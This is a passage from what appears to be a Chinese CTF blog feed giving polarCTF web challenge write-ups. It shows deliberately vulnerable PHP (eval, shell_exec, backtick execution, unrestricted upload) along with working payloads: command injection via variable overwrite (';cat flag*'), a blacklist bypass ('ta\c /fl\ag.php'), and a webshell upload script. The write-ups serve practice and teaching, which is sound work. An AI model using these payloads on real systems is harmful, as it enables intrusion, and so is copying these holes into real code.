function_">stringify</span>(&#123; <span class="attr">winner</span>: winner &#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><ol><li>**<code>fetch(&quot;game.php&quot;, &#123;...&#125;)</code>**：</li></ol><ul><li>这是一个 JavaScript <code>fetch</code> 请求，用来向服务器发送数据。<code>fetch</code> 是一个现代的 Web API，用于发送 HTTP 请求。这里它向 <code>game.php</code> 发送了一个 <code>POST</code> 请求。</li></ul><ol start="2"><li>**<code>method: &quot;POST&quot;</code>**：</li></ol><ul><li><code>POST</code> 方法意味着请求的目的是发送数据（而非获取数据，<code>GET</code> 通常用来获取数据）。通常用来提交表单数据或其他内容。</li></ul><ol start="3"><li>**<code>headers: &#123;&quot;Content-Type&quot;: &quot;application/json&quot;&#125;</code>**：</li></ol><ul><li><code>headers</code> 指定了请求的头部信息，这里设置 <code>Content-Type</code> 为 <code>application/json</code>，表示请求体中传递的数据是 JSON 格式。</li></ul><ol start="4"><li>**<code>body: JSON.stringify(&#123; winner: winner &#125;)</code>**：</li></ol><ul><li><code>body</code> 代表请求的主体数据，这里它将 <code>&#123; winner: winner &#125;</code> 转换成一个 JSON 字符串并发送。</li><li><code>winner</code> 是一个变量，它的值可能是表示某个玩家或游戏条件的数据，具体取决于前端的状态。</li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">.<span class="title function_">then</span>(<span class="function"><span class="params">response</span> =&gt;</span> response.<span class="title function_">json</span>())</span><br><span class="line">.<span class="title function_">then</span>(<span class="function"><span class="params">data</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (data.<span class="property">flag</span>) &#123;</span><br><span class="line">        <span class="comment">// 弹出 Flag</span></span><br><span class="line">        <span class="title function_">alert</span>(<span class="string">&quot;Flag: &quot;</span> + data.<span class="property">flag</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (data.<span class="property">message</span>) &#123;</span><br><span class="line">        <span class="comment">// 显示提示</span></span><br><span class="line">        <span class="title function_">alert</span>(data.<span class="property">message</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p> **<code>.then(response =&gt; response.json())</code>**：</p><ul><li>这个 <code>.then()</code> 接收服务器的响应并将其转换为 JSON 格式（通过 <code>response.json()</code>）。<code>response</code> 是后端返回的原始响应数据。</li><li><code>response.json()</code> 返回的是一个包含 JSON 数据的 Promise，进一步解析后可以得到 <code>data</code>。</li></ul><p>**<code>if (data.flag) &#123;...&#125;</code>**：</p><ul><li>这里检查 <code>data</code> 中是否包含 <code>flag</code> 字段。如果存在 <code>flag</code> 字段，表示胜利条件达成，弹出一个包含 <code>flag</code> 内容的提示框（<code>alert(&quot;Flag: &quot; + data.flag)</code>）。</li></ul><p>向 <code>game.php</code> 发送 <code>POST</code> 请求，把winner值改成player。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-24_20-03-54.png" alt="PixPin_2025-07-24_20-03-54"></p><h2 id="button"><a href="#button" class="headerlink" title="button"></a>button</h2><p>查看js代码,把9999999999999…改成0然后访问路由</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-25_10-54-38.png" alt="PixPin_2025-07-25_10-54-38"></p><p>查看源代码</p><p><img src="D:\work\notebook\ontebook\CTF\题目复现\polarCTF复现\assets\PixPin_2025-07-25_10-55-55.png" alt="PixPin_2025-07-25_10-55-55"></p><h2 id="upload1"><a href="#upload1" class="headerlink" title="upload1"></a>upload1</h2><p>直接上传png改后缀</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-25_10-50-20.png" alt="PixPin_2025-07-25_10-50-20"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-25_10-52-40.png" alt="PixPin_2025-07-25_10-52-40"></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2025/12/14/polarCTFweb%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-%E7%AE%80%E5%8D%95-02/</id>
    <link href="https://everythingis-ok.github.io/2025/12/14/polarCTFweb%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-%E7%AE%80%E5%8D%95-02/"/>
    <published>2025-12-14T13:49:17.000Z</published>
    <summary>
      <![CDATA[<h1 id="polarCTFweb刷题记录-简单-02"><a href="#polarCTFweb刷题记录-简单-02" class="headerlink" title="polarCTFweb刷题记录(简单)02"></a>polarCTFweb刷题记录(简单)02</]]>
    </summary>
    <title>polarCTFweb刷题记录(简单)02</title>
    <updated>2025-12-14T13:49:47.157Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="polarCTFweb刷题记录-简单"><a href="#polarCTFweb刷题记录-简单" class="headerlink" title="polarCTFweb刷题记录(简单)"></a>polarCTFweb刷题记录(简单)</h1><p>总算是把简单题刷完了。</p><h2 id="PHP是世界上最好的语言"><a href="#PHP是世界上最好的语言" class="headerlink" title="PHP是世界上最好的语言"></a>PHP是世界上最好的语言</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//flag in $flag</span></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;flag.php&quot;</span>);</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$_POST</span>[<span class="string">&#x27;sys&#x27;</span>];</span><br><span class="line"><span class="variable">$key1</span> = <span class="number">0</span>;</span><br><span class="line"><span class="variable">$key2</span> = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;flag1&#x27;</span>]) || <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;flag2&#x27;</span>]) || <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;flag1&#x27;</span>]) || <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;flag2&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;nonononono&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">@<span class="title function_ invoke__">parse_str</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;QUERY_STRING&#x27;</span>]);</span><br><span class="line"><span class="title function_ invoke__">extract</span>(<span class="variable">$_POST</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$flag1</span> == <span class="string">&#x27;8gen1&#x27;</span> &amp;&amp; <span class="variable">$flag2</span> == <span class="string">&#x27;8gen1&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;504_SYS.COM&#x27;</span>]))&#123;</span><br><span class="line">    <span class="keyword">if</span>(!<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\&#123;|\&#125;|\&quot;|\&#x27;|\,|\.|\?/&quot;</span>, <span class="variable">$c</span>))&#123;</span><br><span class="line">         <span class="keyword">eval</span>(<span class="string">&quot;<span class="subst">$c</span>&quot;</span>);  </span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><ul><li><h3 id="关键点分析"><a href="#关键点分析" class="headerlink" title="关键点分析"></a>关键点分析</h3><ol><li><p>flag1 和 flag2 不能以 GET 或 POST 普通参数形式出现，否则直接 die。</p></li><li><p>有这一行：@parse_str($_SERVER[‘QUERY_STRING’]); → 这会把 URL 中的查询字符串（如 ?a&#x3D;1&amp;b&#x3D;2）解析成变量</p></li><li><p>紧接着 extract($_POST); → 会把 POST 参数也导入到当前符号表，且 POST 会覆盖同名变量（重要！）</p></li><li><p>要进入 </p><p>eval</p><p> 必须满足：</p><ul><li>$flag1 &#x3D;&#x3D;&#x3D; ‘8gen1’ 且 $flag2 &#x3D;&#x3D;&#x3D; ‘8gen1’</li><li>POST 中有 504_SYS.COM 这个参数</li><li>$c（即 $_POST[‘sys’]）不能包含一堆被禁字符</li></ul></li></ol></li></ul><h2 id="干正则"><a href="#干正则" class="headerlink" title="干正则"></a>干正则</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>])) &#123;</span><br><span class="line">    <span class="title function_ invoke__">show_source</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">    <span class="keyword">die</span>();</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">include</span> <span class="string">&#x27;flag.php&#x27;</span>;</span><br><span class="line">    <span class="variable">$a</span> = <span class="string">&quot;www.baidu.com&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>];</span><br><span class="line">    @<span class="title function_ invoke__">parse_str</span>(<span class="variable">$id</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$a</span>[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$a</span>[<span class="number">0</span>] == <span class="string">&#x27;www.polarctf.com&#x27;</span>) &#123;</span><br><span class="line">        <span class="variable">$ip</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>];</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/flag\.php/&#x27;</span>, <span class="variable">$ip</span>)) &#123;</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&quot;don&#x27;t show flag!!!&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$result</span> .= <span class="title function_ invoke__">shell_exec</span>(<span class="string">&#x27;ping -c 2 &#x27;</span> . <span class="variable">$a</span>[<span class="number">0</span>] . <span class="variable">$ip</span>);</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$result</span>) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$result&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">exit</span>(<span class="string">&#x27;其实很简单！&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="parse-str-id-变量覆盖漏洞（PHP-5-4-经典漏洞）"><a href="#parse-str-id-变量覆盖漏洞（PHP-5-4-经典漏洞）" class="headerlink" title="parse_str($id) 变量覆盖漏洞（PHP &lt; 5.4 经典漏洞）"></a>parse_str($id) 变量覆盖漏洞（PHP &lt; 5.4 经典漏洞）</h3><p>PHP</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$id = $_GET[&#x27;id&#x27;];</span><br><span class="line">@parse_str($id);</span><br></pre></td></tr></table></figure><p>这行代码是最大漏洞！ parse_str() 会把查询字符串格式的参数解析并注册成变量，例如：</p><p>text</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=a=hhh</span><br></pre></td></tr></table></figure><p>执行后就会在当前作用域创建一个变量 $a &#x3D; ‘hhh’，直接覆盖了前面定义的</p><p>PHP</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$a = &quot;www.baidu.com&quot;;</span><br></pre></td></tr></table></figure><p>所以我们可以通过构造 id 参数来任意覆盖 $a 变量。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id=a[0]=www.polarctf.com&amp;cmd=;cat%20flag*</span><br></pre></td></tr></table></figure><h2 id="uploader"><a href="#uploader" class="headerlink" title="uploader"></a>uploader</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$sandBox</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]);</span><br><span class="line"><span class="keyword">if</span>(!<span class="title function_ invoke__">is_dir</span>(<span class="variable">$sandBox</span>))&#123;</span><br><span class="line">    <span class="title function_ invoke__">mkdir</span>(<span class="variable">$sandBox</span>,<span class="number">0755</span>,<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$_FILES</span>)&#123;</span><br><span class="line">    <span class="title function_ invoke__">move_uploaded_file</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>],<span class="variable">$sandBox</span>.<span class="string">&quot;/&quot;</span>.<span class="variable">$_FILES</span>[<span class="string">&quot;file&quot;</span>][<span class="string">&quot;name&quot;</span>]);</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;上传文件名: &quot;</span> . <span class="variable">$_FILES</span>[<span class="string">&quot;file&quot;</span>][<span class="string">&quot;name&quot;</span>] . <span class="string">&quot;&lt;br&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;文件类型: &quot;</span> . <span class="variable">$_FILES</span>[<span class="string">&quot;file&quot;</span>][<span class="string">&quot;type&quot;</span>] . <span class="string">&quot;&lt;br&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;文件大小: &quot;</span> . (<span class="variable">$_FILES</span>[<span class="string">&quot;file&quot;</span>][<span class="string">&quot;size&quot;</span>] / <span class="number">1024</span>) . <span class="string">&quot; kB&lt;br&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$sandBox</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br></pre></td></tr></table></figure><p>没有过滤限制的文件上传界面。使用客户端<code> IP 地址</code> <code>（$_SERVER[&#39;REMOTE_ADDR&#39;]）</code>的 <code>MD5 </code>哈希值作为目录名创建文件夹。 例如：如果你的<code>IP </code>是 <code>192.168.1.1</code>，文件夹名会是类似 <code>3d4e9f5a2a4b8c6d0e1f2a3b4c5d6e7f</code> 的哈希值（实际哈希因 IP 不同而变）。</p><p>如果该目录不存在，就通过<code> mkdir($sandBox, 0755, true)</code> 创建它。</p><p>当通过<code> POST</code> 请求<code>（multipart/form-data 格式）</code>上传名为 <code>file</code> 的文件时，它会：</p><ul><li>使用<code>move_uploaded_file</code>将上传的文件移动到<code>$sandBox . &quot;/&quot; . $_FILES[&quot;file&quot;][&quot;name&quot;]</code>路径下。</li><li>直接保留客户端提供的原始文件名。</li><li>输出上传信息：文件名、MIME 类型、大小（单位 kB），并回显沙盒目录路径。</li></ul><p>我们只需要利用及脚本上传文件。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line"> </span><br><span class="line">url = <span class="string">&#x27;http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/&#x27;</span>  <span class="comment"># 替换成你的服务器地址</span></span><br><span class="line"> </span><br><span class="line">files = &#123;<span class="string">&#x27;file&#x27;</span>: <span class="title function_ invoke__">open</span>(<span class="string">&#x27;D:\Python\yijihua.php&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>)&#125;  <span class="comment"># 将文件名替换为你想上传的文件</span></span><br><span class="line"> </span><br><span class="line">response = requests.<span class="title function_ invoke__">post</span>(url, files=files)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">    <span class="keyword">print</span>(<span class="string">&quot;文件上传成功！&quot;</span>)</span><br><span class="line">    <span class="keyword">print</span>(<span class="string">&quot;服务器返回的消息:&quot;</span>, response.text)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="keyword">print</span>(<span class="string">&quot;文件上传失败！&quot;</span>)</span><br><span class="line">    <span class="keyword">print</span>(<span class="string">&quot;错误码:&quot;</span>, response.status_code)</span><br></pre></td></tr></table></figure><h2 id="覆盖"><a href="#覆盖" class="headerlink" title="覆盖"></a>覆盖</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>])) &#123;</span><br><span class="line">    <span class="title function_ invoke__">show_source</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">    <span class="keyword">die</span>();</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">include</span> <span class="string">&#x27;flag.php&#x27;</span>;</span><br><span class="line">    <span class="variable">$a</span> = <span class="string">&quot;www.baidu.com&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>];</span><br><span class="line">    @<span class="title function_ invoke__">parse_str</span>(<span class="variable">$id</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$a</span>[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$a</span>[<span class="number">0</span>] == <span class="string">&#x27;www.polarctf.com&#x27;</span>) &#123;</span><br><span class="line">        <span class="variable">$ip</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>];</span><br><span class="line">        <span class="variable">$result</span> .= <span class="title function_ invoke__">shell_exec</span>(<span class="string">&#x27;ping -c 2 &#x27;</span> . <span class="variable">$a</span>[<span class="number">0</span>] . <span class="variable">$ip</span>);</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$result</span>) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$result&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">exit</span>(<span class="string">&#x27;其实很简单！&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟干正则完全一样，利用变量覆盖漏洞。</p><h2 id="审计"><a href="#审计" class="headerlink" title="审计"></a>审计</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;flag.php&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;xxs&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$input</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;xxs&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">is_array</span>(<span class="variable">$input</span>)) &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;错误：输入类型不允许为数组。&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/^0e[0-9]+$/&quot;</span>, <span class="title function_ invoke__">md5</span>(<span class="variable">$input</span>))) &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;错误：输入的MD5值必须以&#x27;0e&#x27;开头，并跟随数字。&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$input</span>)) &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;错误：输入必须是数字。&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;恭喜：&quot;</span>.<span class="variable">$flag</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;错误：必须设置正确参数。&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><ul><li><code>$input </code>必须是<strong>数字字符串</strong>（通过 is_numeric() 检查）</li><li><code>md5($input) </code>的结果必须是<strong>以 “0e” 开头且后面全是数字</strong>的字符串（如 “0e1234567890”）</li><li><code>$input</code> 不能是数组</li></ul><h2 id="rapyiquan"><a href="#rapyiquan" class="headerlink" title="rapyiquan"></a>rapyiquan</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;content-type:text/html;charset=utf-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$url</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_URI&#x27;</span>];</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkUrlParams</span>(<span class="params"><span class="variable">$params</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$params</span>, <span class="string">&#x27;_&#x27;</span>) !== <span class="literal">false</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">checkUrlParams</span>(<span class="variable">$url</span>))&#123;</span><br><span class="line">    <span class="variable">$cmd</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;c_md&#x27;</span>];</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\&#x27;|\&quot;|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\&#123;|\&#125;|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|&#123;|&#125;|\(|\)|-|&lt;|&gt;/i&quot;</span>, <span class="variable">$cmd</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span>(<span class="string">&quot;badly!&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> `<span class="variable">$cmd</span>`;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;<span class="subst">$url</span>&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;br&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;Hack&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li><strong>正常访问</strong>（URI无”_”）：页面显示源码 + 一个输入框（隐含，通过?c_md&#x3D;xxx传入命令）。</li><li>用户传入?c_md&#x3D;xxx，如果xxx不匹配黑名单正则，就直接在服务器上执行xxx命令，并输出结果。这就是一个<strong>命令注入漏洞</strong>，目标通常是读取flag文件（例如cat flag.php或ls列目录）。</li><li>黑名单过滤非常严格：<ul><li>禁止几乎所有常见读文件&#x2F;执行命令的工具：cat、ls、grep、more、less、head、tail、tac、vi、nl、od、sed、paste、diff、file、wget、echo、bash、sh等。</li><li>禁止常见注入分隔符：;、&amp;、、&amp;&amp;、||、换行、空格类似（\xA0是非断空格）、反引号、单双引号、反斜杠、*?{}$<a href=""></a>&lt;&gt;等通配符和重定向。</li><li>甚至禁止flag关键字本身，防止直接cat flag。</li></ul></li></ul><p>url中<code>_</code>的绕过可以使用php特性，对关键词的过滤可以使用<code>\</code>绕过</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?c[md=ta\c /fl\ag.php</span><br></pre></td></tr></table></figure><h2 id="bllbl-ser1"><a href="#bllbl-ser1" class="headerlink" title="bllbl_ser1"></a>bllbl_ser1</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">bllbl</span></span></span><br><span class="line"><span class="class">   </span>&#123;</span><br><span class="line">   <span class="keyword">public</span> <span class="variable">$qiang</span>;<span 